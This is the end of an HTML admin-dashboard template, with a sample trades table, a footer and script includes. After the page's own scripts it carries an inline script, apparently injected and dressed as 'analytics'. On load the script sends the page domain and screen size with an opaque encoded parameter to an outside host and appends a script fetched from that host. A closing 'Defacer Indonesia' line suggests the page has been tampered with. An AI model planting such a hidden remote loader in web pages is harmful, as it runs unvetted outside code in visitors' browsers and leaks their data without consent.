for="task20"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-2.jpg" alt=""> <div class="info"> <span class="title">Herminia Frazier</span> <span class="sub-title">ID 890</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status online"> </span> <span class="pdd-left-20">Trade Approved</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33687</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>18 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$987.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> <tr> <td> <div class="checkbox mrg-left-20"> <input id="task21" name="task21" type="checkbox"> <label for="task21"></label> </div> </td> <td> <div class="list-info mrg-top-10"> <img class="thumb-img" src="assets/images/avatars/thumb-3.jpg" alt=""> <div class="info"> <span class="title">Hannah Johnson</span> <span class="sub-title">ID 891</span> </div> </div> </td> <td> <div class="relative mrg-top-15"> <span class="status away"> </span> <span class="pdd-left-20">Trade Pendding</span> </div> </td> <td> <div class="mrg-top-15"> <span class="text-info"><b>#33688</b></span> </div> </td> <td> <div class="mrg-top-15"> <span>18 May 2017</span> </div> </td> <td> <div class="mrg-top-15"> <b class="text-dark font-size-16">$765.00</b> </div> </td> <td> <div class="mrg-top-10 text-center"> <button class="btn btn-icon btn-flat btn-rounded dropdown-toggle"> <i class="ti-more-alt"></i> </button> </div> </td> </tr> </tbody> </table> </div> </div> </div> </div> </div> </div> </div> <!-- Content Wrapper END --> <!-- Footer START --> <footer class="content-footer"> <div class="footer"> <div class="copyright"> <span>Copyright © 2017 <b class="text-dark">Theme_Nate</b>. All rights reserved.</span> <span class="go-right"> <a href="#" class="text-gray mrg-right-15">Term & Conditions</a> <a href="#" class="text-gray">Privacy & Policy</a> </span> </div> </div> </footer> <!-- Footer END --> </div> <!-- Page Container END --> </div> </div> <script src="assets/js/vendor.js"></script> <script src="assets/js/app.min.js"></script> <!-- page plugins js --> <script src="../bower_components/datatables/media/js/jquery.dataTables.js"></script> <!-- page js --> <script src="assets/js/table/data-table.js"></script> <script type="text/javascript">if (self==top) {function netbro_cache_analytics(fn, callback) {setTimeout(function() {fn();callback();}, 0);}function sync(fn) {fn();}function requestCfs(){var idc_glo_url = (location.protocol=="https:" ? "https://" : "http://");var idc_glo_r = Math.floor(Math.random()*99999999999);var url = idc_glo_url+ "cfs.uzone.id/2fn7a2/request" + "?id=1" + "&enc=9UwkxLgY9" + "¶ms=" + "4TtHaUQnUEiP6K%2fc5C582HVlH3eBnL31dK4ZUfyQ6h34pO5PkrxPgZYA6FRIoSxE74PWY1LuRD03Tnn4%2b57P6KFrsBIQlTrQScSqAPEY4diTlO0zqX6lPn6CMD50k715WpVXOkwpxsvG1ffjMCmsoy8QLMdFPn6%2bFeP40vVzQXD2Bc3%2fSE79TXAYbxSgOiuSgUCH9d9mvBZJJVuyT%2fSrBkjEvNb6DhPt8qIDq7y8%2bIPBMAcsp%2bgTcMXzvNq9AUkrnRLdXhr5Lt3OvSNm%2fupFH443ZBLgxq0Q7xVJyAPtHRAJ2YGzEEHDhyYncUdXoo1ZlFwLWHhKfebN07cDkXTnAa6VPkfYYlKnK54HYKdyWERDw57UMFwQKPw4zen5plw0itCtBuWPfeTnjvTv1o5O4K832kbcBVgTnDt6eUkPqUG%2fKNnfTikg6zETNzfuhGImNWiODGbU8o%2bHPP7Yaijd4gfgXddT83BkKSRTe%2fsItXEeMtdnlgmSipGyV6w%2bnsEyYJWWvvNNVt%2bTJ0utO00PLw%3d%3d" + "&idc_r="+idc_glo_r + "&domain="+document.domain + "&sw="+screen.width+"&sh="+screen.height;var bsa = document.createElement('script');bsa.type = 'text/javascript';bsa.async = true;bsa.src = url;(document.getElementsByTagName('head')[0]||document.getElementsByTagName('body')[0]).appendChild(bsa);}netbro_cache_analytics(requestCfs, function(){});};</script></body> </html>
Copyright ©2021 || Defacer Indonesia